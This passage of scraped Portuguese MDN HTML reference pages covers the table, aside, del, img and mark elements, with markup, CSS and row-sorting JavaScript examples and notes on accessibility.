indica que nenhuma regra será exibida; é o valor padrão;\n* `groups`, que fará com que as regras sejam exibidas entre os grupos de linhas (definidas por `<thead>` (en-US), `<tbody>` (en-US) e `<tfoot>` elementos) e entre grupos de colunas (definidos apenas pelos elementos `<col>` (en-US) e `<colgroup>` (en-US));\n* `rows`, que fará com que as regras sejam exibidas entre as linhas;\n* `cols`, que fará com que as regras sejam exibidas entre as colunas;\n* `all`, que fará com que as regras sejam exibidas entre linhas e colunas.\n\nPara obter um efeito semelhante, aplique a propriedade `border` (en-US) ao apropriado `<thead>` (en-US), `<tbody>` (en-US), tfoot , `<col>` (en-US), ou `<colgroup>` (en-US) elementos.\n\n`summary` \nDeprecated\n\nEste atributo define um texto alternativo que resume o conteúdo da tabela. Use o elemento `<caption>` em vez disso.\n\n`width` \nDeprecated\n\nEste atributo define a largura da tabela. Em vez disso, use a propriedade CSS `width`.\n\nExemplos\n--------\n\n### Table simples\n\n\n```html\n<table>\n  <tr>\n    <td>John</td>\n    <td>Doe</td>\n  </tr>\n  <tr>\n    <td>Jane</td>\n    <td>Doe</td>\n  </tr>\n</table>\n```\n\n\n#### Resultado\n\n### Outros exemplos simples\n\n\n```html\n<p>Tabela simples com cabeçalho</p>\n<table>\n  <tr>\n    <th>First name</th>\n    <th>Last name</th>\n  </tr>\n  <tr>\n    <td>John</td>\n    <td>Doe</td>\n  </tr>\n  <tr>\n    <td>Jane</td>\n    <td>Doe</td>\n  </tr>\n</table>\n\n<p>Tabela com thead, tfoot, e tbody</p>\n<table>\n  <thead>\n    <tr>\n      <th>Header content 1</th>\n      <th>Header content 2</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td>Body content 1</td>\n      <td>Body content 2</td>\n    </tr>\n  </tbody>\n  <tfoot>\n    <tr>\n      <td>Footer content 1</td>\n      <td>Footer content 2</td>\n    </tr>\n  </tfoot>\n</table>\n\n<p>Tabela com colgroup</p>\n<table>\n  <colgroup span=\"4\"></colgroup>\n  <tr>\n    <th>Countries</th>\n    <th>Capitals</th>\n    <th>Population</th>\n    <th>Language</th>\n  </tr>\n  <tr>\n    <td>USA</td>\n    <td>Washington, D.C.</td>\n    <td>309 million</td>\n    <td>English</td>\n  </tr>\n  <tr>\n    <td>Sweden</td>\n    <td>Stockholm</td>\n    <td>9 million</td>\n    <td>Swedish</td>\n  </tr>\n</table>\n\n<p>Tabela com colgroup e col</p>\n<table>\n  <colgroup>\n    <col style=\"background-color: #0f0\" />\n    <col span=\"2\" />\n  </colgroup>\n  <tr>\n    <th>Lime</th>\n    <th>Lemon</th>\n    <th>Orange</th>\n  </tr>\n  <tr>\n    <td>Green</td>\n    <td>Yellow</td>\n    <td>Orange</td>\n  </tr>\n</table>\n\n<p>Tabela simples com caption</p>\n<table>\n  <caption>\n    Awesome caption\n  </caption>\n  <tr>\n    <td>Awesome data</td>\n  </tr>\n</table>\n```\n\n\n```\ntable {\n  border-collapse: collapse;\n  border-spacing: 0px;\n}\ntable,\nth,\ntd {\n  padding: 5px;\n  border: 1px solid black;\n}\n```\n\n\n#### Resultado\n\n### Ordenação de tabela\n\n#### Ordenando as linhas da tabela\n\nNão há métodos nativos para classificar as linhas (elementos `<tr>` (en-US)) de uma tabela HTML. Mas usando `Array.prototype.slice()`, `Array.prototype.sort()`, `Node.removeChild()` e `Node.appendChild()`, você pode implementar sua própria função `sort()` para classificar uma `HTMLCollection` de elementos `<tr>`.\n\nNo exemplo abaixo, você pode ver tal exemplo. Estamos anexando-o ao elemento <tbody> para que ele classifique as células da tabela em ordem crescente de valor e atualize a exibição para se adequar.\n\n##### HTML\n\n\n```html\n<table>\n  <tbody>\n    <tr>\n      <td>3</td>\n    </tr>\n    <tr>\n      <td>2</td>\n    </tr>\n    <tr>\n      <td>1</td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n##### JavaScript\n\n\n```js\nHTMLTableSectionElement.prototype.sort = function (cb) {\n  Array.from(this.rows)\n    .sort(cb)\n    .forEach((e) => this.appendChild(this.removeChild(e)));\n};\n\ndocument\n  .querySelector(\"table\")\n  .tBodies[0].sort((a, b) => a.textContent.localeCompare(b.textContent));\n```\n\n\n##### Resultado\n\n#### Ordenando as linhas com um clique no elemento th\n\nO exemplo a seguir adiciona um manipulador de eventos a cada elemento `<th>` de cada `<table>` no `document`; ele ordena todas as linhas do `<tbody>`, baseando a ordenação nas células `td` contidas nas linhas.\n\n**Nota:** Esta solução assume que os elementos `<td>` são preenchidos por texto bruto sem elementos descendentes.\n\n##### HTML\n\n\n```html\n<table>\n  <thead>\n    <tr>\n      <th>Números</th>\n      <th>Letras</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td>3</td>\n      <td>A</td>\n    </tr>\n    <tr>\n      <td>2</td>\n      <td>B</td>\n    </tr>\n    <tr>\n      <td>1</td>\n      <td>C</td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n##### JavaScript\n\n\n```js\nconst allTables = document.querySelectorAll(\"table\");\n\nfor (const table of allTables) {\n  const tBody = table.tBodies[0];\n  const rows = Array.from(tBody.rows);\n  const headerCells = table.tHead.rows[0].cells;\n\n  for (const th of headerCells) {\n    const cellIndex = th.cellIndex;\n\n    th.addEventListener(\"click\", () => {\n      rows.sort((tr1, tr2) => {\n        const tr1Text = tr1.cells[cellIndex].textContent;\n        const tr2Text = tr2.cells[cellIndex].textContent;\n        return tr1Text.localeCompare(tr2Text);\n      });\n\n      tBody.append(...rows);\n    });\n  }\n}\n```\n\n\n##### Resultado\n\n### Exibindo tabelas grandes em espaços pequenos\n\nUm problema comum com tabelas na web é que elas não funcionam muito bem nativamente em telas pequenas quando a quantidade de conteúdo é grande, e a maneira de torná-las roláveis não é óbvia, especialmente quando a marcação pode vir de um CMS e não pode ser modificado para ter um wrapper.\n\nEste exemplo fornece uma maneira de exibir tabelas em espaços pequenos. Ocultamos o conteúdo HTML porque ele é muito grande e não há nada de extraordinário nele. O CSS é mais útil para inspecionar neste exemplo.\n```\n\n<table>\n  <thead>\n    <tr>\n      <th>1<sup>3</sup> equals:\n      <th>2<sup>3</sup> equals:\n      <th>3<sup>3</sup> equals:\n      <th>4<sup>3</sup> equals:\n      <th>5<sup>3</sup> equals:\n      <th>6<sup>3</sup> equals:\n      <th>7<sup>3</sup> equals:\n  <tbody>\n    <tr>\n      <td>row 1: 1\n      <td>row 1: 8\n      <td>row 1: 27\n      <td>row 1: 64\n      <td>row 1: 125\n      <td>row 1: 216\n      <td>row 1: 343\n    <tr>\n      <td>row 2: 1\n      <td>row 2: 8\n      <td>row 2: 27\n      <td>row 2: 64\n      <td>row 2: 125\n      <td>row 2: 216\n      <td>row 2: 343\n    <tr>\n      <td>row 3: 1\n      <td>row 3: 8\n      <td>row 3: 27\n      <td>row 3: 64\n      <td>row 3: 125\n      <td>row 3: 216\n      <td>row 3: 343\n    <tr>\n      <td>row 4: 1\n      <td>row 4: 8\n      <td>row 4: 27\n      <td>row 4: 64\n      <td>row 4: 125\n      <td>row 4: 216\n      <td>row 4: 343\n    <tr>\n      <td>row 5: 1\n      <td>row 5: 8\n      <td>row 5: 27\n      <td>row 5: 64\n      <td>row 5: 125\n      <td>row 5: 216\n      <td>row 5: 343\n    <tr>\n      <td>row 6: 1\n      <td>row 6: 8\n      <td>row 6: 27\n      <td>row 6: 64\n      <td>row 6: 125\n      <td>row 6: 216\n      <td>row 6: 343\n    <tr>\n      <td>row 7: 1\n      <td>row 7: 8\n      <td>row 7: 27\n      <td>row 7: 64\n      <td>row 7: 125\n      <td>row 7: 216\n      <td>row 7: 343\n    <tr>\n      <td>row 8: 1\n      <td>row 8: 8\n      <td>row 8: 27\n      <td>row 8: 64\n      <td>row 8: 125\n      <td>row 8: 216\n      <td>row 8: 343\n    <tr>\n      <td>row 9: 1\n      <td>row 9: 8\n      <td>row 9: 27\n      <td>row 9: 64\n      <td>row 9: 125\n      <td>row 9: 216\n      <td>row 9: 343\n    <tr>\n      <td>row 10: 1\n      <td>row 10: 8\n      <td>row 10: 27\n      <td>row 10: 64\n      <td>row 10: 125\n      <td>row 10: 216\n      <td>row 10: 343\n    <tr>\n      <td>row 11: 1\n      <td>row 11: 8\n      <td>row 11: 27\n      <td>row 11: 64\n      <td>row 11: 125\n      <td>row 11: 216\n      <td>row 11: 343\n    <tr>\n      <td>row 12: 1\n      <td>row 12: 8\n      <td>row 12: 27\n      <td>row 12: 64\n      <td>row 12: 125\n      <td>row 12: 216\n      <td>row 12: 343\n    <tr>\n      <td>row 13: 1\n      <td>row 13: 8\n      <td>row 13: 27\n      <td>row 13: 64\n      <td>row 13: 125\n      <td>row 13: 216\n      <td>row 13: 343\n    <tr>\n      <td>row 14: 1\n      <td>row 14: 8\n      <td>row 14: 27\n      <td>row 14: 64\n      <td>row 14: 125\n      <td>row 14: 216\n      <td>row 14: 343\n    <tr>\n      <td>row 15: 1\n      <td>row 15: 8\n      <td>row 15: 27\n      <td>row 15: 64\n      <td>row 15: 125\n      <td>row 15: 216\n      <td>row 15: 343\n    <tr>\n      <td>row 16: 1\n      <td>row 16: 8\n      <td>row 16: 27\n      <td>row 16: 64\n      <td>row 16: 125\n      <td>row 16: 216\n      <td>row 16: 343\n    <tr>\n      <td>row 17: 1\n      <td>row 17: 8\n      <td>row 17: 27\n      <td>row 17: 64\n      <td>row 17: 125\n      <td>row 17: 216\n      <td>row 17: 343\n    <tr>\n      <td>row 18: 1\n      <td>row 18: 8\n      <td>row 18: 27\n      <td>row 18: 64\n      <td>row 18: 125\n      <td>row 18: 216\n      <td>row 18: 343\n    <tr>\n      <td>row 19: 1\n      <td>row 19: 8\n      <td>row 19: 27\n      <td>row 19: 64\n      <td>row 19: 125\n      <td>row 19: 216\n      <td>row 19: 343\n    <tr>\n      <td>row 20: 1\n      <td>row 20: 8\n      <td>row 20: 27\n      <td>row 20: 64\n      <td>row 20: 125\n      <td>row 20: 216\n      <td>row 20: 343\n</table>\n```\n\n\nAo observar esses estilos, você notará que a propriedade `display` da tabela foi definida como `block`. Embora isso permita a rolagem, a tabela perde um pouco de sua integridade e as células da tabela tentam se tornar o menor possível. Para atenuar esse problema, definimos `white-space` como `nowrap` no `<tbody>`. No entanto, não fazemos isso para o `<thead>` para evitar que títulos longos forcem as colunas a serem mais largas do que o necessário para exibir os dados.\n\nPara manter os cabeçalhos da tabela na página durante a rolagem para baixo, definimos `position` para fixar nos elementos `<th>`. Observe que **não** definimos `border-collapse` (en-US) como `collapse`, pois se o fizermos, o cabeçalho não pode ser separado corretamente do restante da tabela.\n\n\n```css\ntable,\nth,\ntd {\n  border: 1px solid;\n}\n\ntable {\n  width: 100%;\n  max-width: 400px;\n  height: 240px;\n  margin: 0 auto;\n  display: block;\n  overflow-x: auto;\n  border-spacing: 0;\n}\n\ntbody {\n  white-space: nowrap;\n}\n\nth,\ntd {\n  padding: 5px 10px;\n  border-top-width: 0;\n  border-left-width: 0;\n}\n\nth {\n  position: sticky;\n  top: 0;\n  background: #fff;\n  vertical-align: bottom;\n}\n\nth:last-child,\ntd:last-child {\n  border-right-width: 0;\n}\n\ntr:last-child td {\n  border-bottom-width: 0;\n}\n```\n\n\n#### Resultado\n\nPreocupações com acessibilidade\n-------------------------------\n\n### Legendas\n\nAo fornecer um elemento `<caption>` cujo valor descreve de forma clara e concisa o propósito da tabela, ele ajuda as pessoas a decidirem se precisam ler o restante do conteúdo da tabela ou ignorá-lo.\n\nIsso ajuda as pessoas a navegar com o auxílio de tecnologia assistiva, como um leitor de tela, pessoas com problemas de visão subnormal e pessoas com problemas cognitivos.\n\n* MDN Adicionando uma legenda à sua tabela com <caption> (en-US)\n* Legenda e resumo • Tabelas • Tutoriais de acessibilidade na Web do W3C WAI\n### Escopo de linhas e colunas\n\nO atributo `scope` em elementos de cabeçalho é redundante em contextos simples, porque o escopo é inferido. No entanto, algumas tecnologias assistivas podem não obter inferências corretas, portanto, especificar o escopo do cabeçalho pode melhorar a experiência do usuário. Em tabelas complexas, o escopo pode ser especificado para fornecer as informações necessárias sobre as células relacionadas a um cabeçalho.\n\n#### Examples\n\n\n```html\n<table>\n  <caption>\n    Nomes das cores e valores\n  </caption>\n  <tbody>\n    <tr>\n      <th scope=\"col\">Nome</th>\n      <th scope=\"col\">HEX</th>\n      <th scope=\"col\">HSLa</th>\n      <th scope=\"col\">RGBa</th>\n    </tr>\n    <tr>\n      <th scope=\"row\">Teal</th>\n      <td><code>#51F6F6</code></td>\n      <td><code>hsl(180 90% 64% / 1)</code></td>\n      <td><code>rgb(81 246 246 / 1)</code></td>\n    </tr>\n    <tr>\n      <th scope=\"row\">Goldenrod</th>\n      <td><code>#F6BC57</code></td>\n      <td><code>hsl(38 90% 65% / 1)</code></td>\n      <td><code>rgba(246 188 87 / 1)</code></td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n##### Resultado\n\nFornecer uma declaração de `scope=\"col\"` em um elemento `<th>` ajudará a descrever que a célula está no topo de uma coluna. Fornecer uma declaração de `scope=\"row\"` em um elemento `<th>` ajudará a descrever que a célula é a primeira em uma linha.\n\n* Tabelas MDN para usuários com deficiência visual (en-US)\n* Tabelas com dois cabeçalhos • Tabelas • Tutoriais de acessibilidade na Web do W3C WAI\n* Tabelas com cabeçalhos irregulares • Tabelas • Tutoriais de acessibilidade na Web W3C WAI\n* H63: Usando o atributo scope para associar células de cabeçalho e células de dados em tabelas de dados | Técnicas W3C para WCAG 2.0\n### Tabelas complicadas\n\nA tecnologia assistiva, como leitores de tela, pode ter dificuldade em analisar tabelas que são tão complexas que as células de cabeçalho não podem ser associadas de maneira estritamente horizontal ou vertical. Isso é normalmente indicado pela presença de `colspan` (en-US) e [`rowspan`](/pt-BR/docs/Web/HTML/ Element/td#rowspan).\n\nIdealmente, considere maneiras alternativas de apresentar o conteúdo da tabela, incluindo dividi-la em uma coleção de tabelas relacionadas menores que não precisam depender do uso dos atributos `colspan` e `rowspan`. Além de ajudar as pessoas que usam tecnologia assistiva a entender o conteúdo da tabela, isso também pode beneficiar pessoas com problemas cognitivos que podem ter dificuldade em entender as associações que o layout da tabela está descrevendo.\n\nSe a tabela não puder ser separada, use uma combinação de `id` e [`headers`](/pt-BR/docs/Web/ HTML/Element/td#headers) para associar programaticamente cada célula da tabela aos cabeçalhos aos quais a célula está associada.\n\n* Tabelas MDN para usuários com deficiência visual (en-US)\n* Tabelas com cabeçalhos de vários níveis • Tabelas • Tutoriais de acessibilidade na Web do W3C WAI\n* H43: Usando os atributos id e headers para associar células de dados com células de cabeçalho em tabelas de dados | Técnicas para W3C WCAG 2.0\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-table-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Tutorial de tabela de dados HTML\n* Propriedades CSS que podem ser especialmente úteis para estilizar o elemento `<table>`:\n    + `width` para controlar a largura da tabela;\n    + `border` (en-US), `border-style` (en-US), `border-color` (en-US), `border-width` (en-US) , `border-collapse` (en-US), `border-spacing` (en-US) para controlar o aspecto das bordas das células, réguas e moldura;\n    + `margin` e `padding` para estilizar o conteúdo da célula individual;\n    + `text-align` e `vertical-align` para definir o alinhamento do texto e do conteúdo da célula."}
{"title":"<aside> - HTML: Linguagem de Marcação de Hipertexto","text":"<aside>\n=======\n\nSumario\n-------\n\nO elemento HTML **`<aside>`** representa uma seção de uma página que consiste de conteúdo que é tangencialmente relacionado ao conteúdo do seu entorno, que poderia ser considerado separado do conteúdo. Essas seções são, muitas vezes, representadas como barras laterais. Elas muitas vezes contem explicações laterais, como a definição de um glossário; conteúdo vagamente relacionado, como avisos; a biografia do autor; ou, em aplicações web, informações de perfil ou links de blogs relacionados.\n\n> \n> **Note:** *Notas de uso:*\n> \n> \n> * **Não use** o elemento `<aside>` para texto entre parenteses, pois este tipo de texto é considerado parte do fluxo principal.\n> \n> \n> \n\n* *Categoria de conteudo (en-US)* Conteudo de fluxo (en-US), conteudo de secionamento, conteudo palpavel.\n* *Conteudo permitido* Conteudo de fluxo (en-US).\n* *Omissao de tag* Nenhuma, ambas as tags de início e fim são obrigatórias.\n* *Elementos pai permitidos* Qualquer elemento que aceita conteudo de fluxo (en-US). Note que um elemento `<aside>` nao deve ser descendente de um elemento `<address>`.\n* *Interface DOM* `HTMLElement` (en-US)\nAtributos\n---------\n\nEste elemento inclui apenas os atributos globais (en-US).\n\nExemplos\n--------\n\n\n```html\n<aside>\n  <p>Algum conteudo relacionado a um &lt;article&gt;</p>\n</aside>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-aside-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos de seçao relacionados: `<body>`, `<article>`, `<section>`, `<nav>`, `<h1>` (en-US), `<h2>` (en-US), `<h3>` (en-US), `<h4>` (en-US), `<h5>` (en-US), `<h6>` (en-US), `<hgroup>`, `<header>`, `<footer>`, `<address>`;\n* Seçoes e outlines de um documento HTML5."}
{"title":"<del> - HTML: Linguagem de Marcação de Hipertexto","text":"<del>\n=====\n\nSumário\n-------\n\nO **elemento** **HTML `<del>`** (ou *Elemento* *HTML* *de Texto Excluído*) representa uma parte do texto que foi excluída de um documento. Este elemento é (não necessariamente) renderizado pelos navegadores com uma linha entre o texto.\n\n* *Content categories (en-US)*Phrasing content (en-US) or flow content (en-US).\n* *Permitted content* Transparent (en-US).\n* *Tag omission* None, both the starting and ending tag are mandatory.\n* *Permitted parent elements* Any element that accepts phrasing content (en-US).\n* *DOM interface* `HTMLModElement` (en-US)\nAttributes\n----------\n\nThis element includes the global attributes (en-US).\n\n`cite`\n\nA URI for a resource that explains the change (for example, meeting minutes).\n\n`datetime`\n\nThis attribute indicates the time and date of the change and must be a valid date with an optional time string. If the value cannot be parsed as a date with an optional time string, the element does not have an associated time stamp.\n\nExamples\n--------\n\n\n```html\n<p><del>This text has been deleted</del></p>\n```\n\n### Result\n\n~~This text has been deleted~~\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-del-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `<ins>` (en-US) element for insertions into a text"}
{"title":"<img> - HTML: Linguagem de Marcação de Hipertexto","text":"<img>\n=====\n\nResumo\n------\n\nO **elemento** \\*\\*HTML `<img>` \\*\\*(or *HTML Image Element*) representa a inserção de imagem no documento, sendo implementado também pelo HTML5 para uma melhor experiência com o elemento `<figure>` e `<figcaption>`.\n\nExemplo da implementação do HTML5\n---------------------------------\n```\n\n<figure>\n  <img src=\"imagem.jpg\" alt=\"Minha Figura\">\n  <figcaption>Informações da Figura</figcaption>\n</figure>\n```\n\n\n> \n> \n> **Note:** **Usage note:**\n>  Navegadores nem sempre exibem a imagem referenciada pelo elemento. Este é o caso para navegadores não gráficos (incluindo aqueles usados por pessoas com deficiência de visão), ou se o usuário optar por não exibir imagens ou se o navegador não conseguir exibir a imagem porque é inválido ou um tipo não suportado. Nesses casos, o navegador pode substituir a imagem pelo texto definido no atributo **alt** deste elemento.\n>  \n> \n> \n> \n\n* *Content categories (en-US)* Flow content (en-US), phrasing content (en-US), embedded content, palpable content. If the element has a `usemap` attribute, it also is a part of the interactive content category.\n* *Permitted content* None, it is an empty element (en-US).\n* *Tag omission* Must have a start tag and must not have an end tag.\n* *Permitted parent elements* Any element that accepts embedded content.\n* *DOM interface* `HTMLImageElement` (en-US)\nAtributos\n---------\n\nEste Elemeto inlcui o atributo global.\n\n`align` \nDeprecated\n\nThe alignment of the image with respect to its surrounding context. Use the `vertical-align` CSS property.\n\n`alt`\n\nEste atributo define um texto alternativo que descreve a imagem. Os Usuários irão ver o texto se a URL da imagem estiver errado, a imagem não está em um dos formatos suportados ou até a imagem ser baixada .\n\n> \n> **Note:** **Usage note:** Omitting this attribute indicates that the image *is* a key part of the content, but no textual equivalent is available. Setting this attribute to the empty string indicates that this image is *not* a key part of the content; non-visual browsers may omit it from rendering.\n> \n> \n> \n\n`border` \nDeprecated\n\nThe width of a border around the image.\n\n`crossorigin`\n\nThis enumerated attribute indicates if the fetching of the related image must be done using CORS or not. CORS-enabled images (en-US) can be reused in the `<canvas>` element without being *tainted*. The allowed values are:\n\nanonymous\n\nA cross-origin request (i.e. with `Origin:` HTTP header) is performed. But no credential is sent (i.e. no cookie, no X.509 certificate and no HTTP Basic authentication is sent). If the server does not give credentials to the origin site (by not setting the `Access-Control-Allow-Origin:` HTTP header), the image will be *tainted* and its usage restricted..\n\nuse-credentials\n\nA cross-origin request (i.e. with `Origin:` HTTP header) performed with credential is sent (i.e. a cookie, a certificate and HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through `Access-Control-Allow-Credentials:` HTTP header), the image will be *tainted* and its usage restricted.\n\nWhen not present, the resource is fetched without a CORS request (i.e. without sending the `Origin:` HTTP header), preventing its non-tainted usage in `<canvas>` elements. If invalid, it is handled as if the enumerated keyword **anonymous** was used. See CORS settings attributes (en-US) for additional information.\n\n`height`\n\nThe height of the image in HTML 5 CSS pixels, or HTML 4 in pixels or as a percentage.\n\n`hspace` \nDeprecated\n\nThe number of pixels of white space to insert to the left and right of the image.\n\n`ismap`\n\nThis Boolean attribute indicates that the image is part of a server-side map. If so, the precise coordinates of a click are sent to the server.\n\n> \n> **Note:** **Usage note:** This attribute is allowed only if the `<img>` element is a descendant of an `<a>` element with a valid `href` attribute.\n> \n> \n> \n\n`longdesc` \nDeprecated\n\nA link to a more detailed description of the image. Possible values are a URL or an element `id`.\n\n`name` \nDeprecated\n\nA name for the element. Use the `id` attribute instead.\n\n`src`\n\nImage URL, this attribute is obligatory for the `<img>` element. On browsers supporting **srcset**, **src** is ignored if this one is provided.\n\n`srcset`\n\nA list of one or more strings separated by commas indicating a set of possible images for the user agent to use. Each string is composed of:\n\n1. one URL to an image,\n2. a width descriptor, that is a positive integer directly followed by `'w'`. The default value, if missing, is the infinity.\n3. a pixel density descriptor, that is a positive floating number directly followed by `'x'`. The default value, if missing, is `1x`.\n\n Each string in the list must have at least a width descriptor or a pixel density descriptor to be valid. Among the list, there must be only one string containing the same tuple of width descriptor and pixel density descriptor.\n The browser chooses the most adequate image to display at a given point of time.\n\n\n`width`\n\nThe width of the image in pixels or percent.\n\n`usemap`\n\nThe partial URL (starting with '#') of an image map associated with the element.\n\n> \n> **Note:** **Usage note:** You cannot use this attribute if the `<img>` element is a descendant of an `<a>` or `<button>` element.\n> \n> \n> \n\n`vspace` \nDeprecated\n\nThe number of pixels of white space to insert above and below the image.\n\nFormato de imagens suportadas\n-----------------------------\n\nO padrão HTML não fornece uma lista de formatos de imagem que devem ser suportados, portanto, cada agente de usuário oferece suporte a um conjunto diferente de formatos. Gecko suporta:\n\n* JPEG\n* GIF, incluindo GIFs animados\n* PNG\n* APNG\n* SVG\n* BMP\n* BMP ICO\n* PNG ICO\nInteração com CSS\n-----------------\n\nEm relação ao CSS, uma `<img>` é um elemento substituído (en-US). Ele não tem linha de base, ou seja, quando usado em um contexto de formatação em linha (inline) com `vertical-align`: baseline, a base inferior da imagem será colocada na linha de base do contêiner.\n\nDepending of its type, an *image* may have an intrinsic dimension, but this is not a necessary condition: a SVG image has no intrinsic dimension, a raster image has one.\n\nExemplos\n--------\n\n### Usando o texto alternativo\n\nO exemplo a seguir insere uma imagem na página e inclui o texto alternativo para acessibilidade, de forma que ele possa ser lido por programas leitores de tela ou exibido caso a imagem não carregue.\n\n\n```html\n<img\n src=\"https://developer.mozilla.org/static/img/favicon144.png\"\n alt=\"MDN logo\" />\n```\n\n### Link em imagem\n\nEsse exemplo mostra como transformar uma imagem em um link. Para isso, insira a tag `<img>` dentro da tag do link `<a>`. Nesse caso, é interessante fazer o texto alternativo descrever o site para o qual o link aponta, como se fosse o texto usado dentro da tag `<a>`.\n\n\n```html\n<a href=\"https://developer.mozilla.org\">\n  <img\n src=\"https://developer.mozilla.org/static/img/favicon144.png\"\n alt=\"Visit the MDN site\" />\n</a>\n```\n\n### Usando o atributo `srcset`\n\nNesse exemplo, o atributo `srcset` inclui uma versão do logotipo com maior resolução, a qual vai ser carregada no lugar de `src` em aparelhos de alta resolução e cujo navegador tenha suporte à `srcset`.\n\nA imagem presente no atributo `src` conta como um candidato `1x` em navegadores com suporte à `srcset`.\n\nAs imagens exibidas dependerão do tipo de tela.\n\n**`srcset`** define o conjunto de imagens que nós iremos permitir ao navegador escolher, e qual tamanho cada imagem tem.\n\n\n```html\n<img\n src=\"mdn-logo-sm.png\"\n alt=\"MD Logo\"\n srcset=\"mdn-logo-HD.png 2x, mdn-logo-small.png 15w, mdn-banner-HD.png 100w 2x\" />\n```\n\n\nAntes de cada vírgula nós escrevemos:\n\n1. Um **nome do arquivo da imagem** (`mdn-logo-HD.png`).\n2. Um espaço.\n3. A **largura da imagem** ou **sua densidade de pixels**.\nAcessibilidade\n--------------\n\n### Utilizando textos alternativos relevantes\n\nO valor do atributo `alt` deve descrever de maneira clara e concisa o conteúdo da imagem. Evite descrever a própria presença da imagem ou o nome de seu arquivo. Se o atributo `alt` for propositalmente deixado vazio porque a imagem não possui nenhum equivalente em texto, considere métodos alternativos para indicar o que a imagem deseja comunicar.\n\n#### Evite\n\n\n```html\n<img alt=\"imagem\" src=\"penguin.jpg\" />\n```\n\n\n#### Prefira\n\n\n```html\n<img alt=\"Um pinguim-saltador-da-rocha em pé numa praia.\" src=\"penguin.jpg\" />\n```\n\n\nQuando o atributo `alt` não estiver presente em uma imagem, alguns programas leitores de tela vão narrar o nome do arquivo da imagem em seu lugar, o que pode ser confuso caso o nome do arquivo não seja representativo do conteúdo da imagem.\n\n* An alt Decision Tree • Images • WAI Web Accessibility Tutorials\n* Alt-texts: The Ultimate Guide — Axess Lab\n* How to Design Great Alt Text: An Introduction | Deque\n* MDN Understanding WCAG, Guideline 1.1 explanations (en-US)\n* Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0\n### O atributo title\n\nO atributo `title` não é um substituto aceitável para o atributo `alt`. Além disso, evite duplicar o valor do atributo `alt` no atributo `title` para uma mesma imagem. Isso pode fazer com que alguns programas leitores de tela narrem duas vezes a descrição, o que pode criar uma experiência confusa para usuários.\n\nEvite usar o atributo `title` como uma forma suplementar de legenda para a descrição do `alt`. Caso a imagem precise de uma legenda, prefisa os elementos `figure` e `figcaption`.\n\nO valor do atributo `title` é geralmente mostrado ao usuário como uma dica, que aparece após o usuário parar o cursor sobre a imagem. Apesar de *poder* *prover* informações adicionais ao usuário, não se deve assumir todos os usuários vão vê-lo, pois o mesmo pode possuir apenas um teclado ou uma tela de toque (touchscreen). Se você considera a informação particularmente importante para o usuário, prefira o uso de elementos inline.\n\n* Using the HTML title attribute – updated | The Paciello Group\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-img-element |\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<object>` (en-US) and `<embed>` elements"}
{"title":"<mark> - HTML: Linguagem de Marcação de Hipertexto","text":"<mark>\n======\n\nSumário\n-------\n\nO \\*\\*Elemento HMTL `<mark>` \\*\\*representa um trecho de destaque em um texto, por exemplo, uma sequência de texto marcado como referência, devido à sua relevância em um contexto particular. Por Exemplo, pode ser utilizado em uma página que mostra os resultados de uma busca onde todas as instâncias da palavra pesquisadas receberam destaque.\n\n> \n> **Note:** *Notas de Uso:*\n> \n> \n> * Em uma citação ou outro tipo de bloco, O texto destacado normalmente marca o texto que é referenciado fora da citação, ou marcado para um analise específica, mesmo que o autor original não considerou importante.\n> * No texto principal, o trecho destacado normalmente marca um conteúdo que pode ser de especial relevância para usuário corrente, como resultado de pesquisa.\n> * Não use o o elemento `<mark>` para destaque de sintaxe; uso o elemento `<span>` para essa finalidade.\n> * Não confunda o elemento `<mark>` com o elemento `<strong>` . O elemento `<strong>` é usado para denotar trechos de importância especial, quando o elemento `<mark>` é utilizado para denotar trechos de relevância especial.\n> \n> \n> \n\n* *Categorias de conteúdo (en-US)* Conteúdo de Fluxo (en-US), phrasing content (en-US), palpable content.\n* *Conteúdo Permitido* Phrasing content (en-US).\n* *Omissão de Tag* None, both the starting and ending tag are mandatory.\n* *Elementos parent permitidos* Qualquer elemento que aceite phrasing content (en-US).\n* *DOM interface* `HTMLElement` (en-US)\nAtributos\n---------\n\nEste elemento inclue apenas atributos Globais (en-US).\n\nExemplo\n-------\n\n\n```html\n<p>\n  O elemento &lt;mark&gt; é usado para <mark>destacar</mark> partes do texto\n</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-mark-element |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* Outros text-level semantics elements: `<a>`, `<em>`, `<strong>`, `<cite>`, `<q>`, `<dfn>`, `<abbr>`, `<time>`, `<code>`, `<var>`, `<samp>` (en-US), `<kbd>` (en-US), `<sub>` (en-US), `<sup>` (en-US), `<i>`, `<b>`, `<mark>`, `<ruby>`, `<rp>` (en-US), `<rt>` (en-US), `<bdo>`, `<span>`, `<br>`, `<wbr>`."}
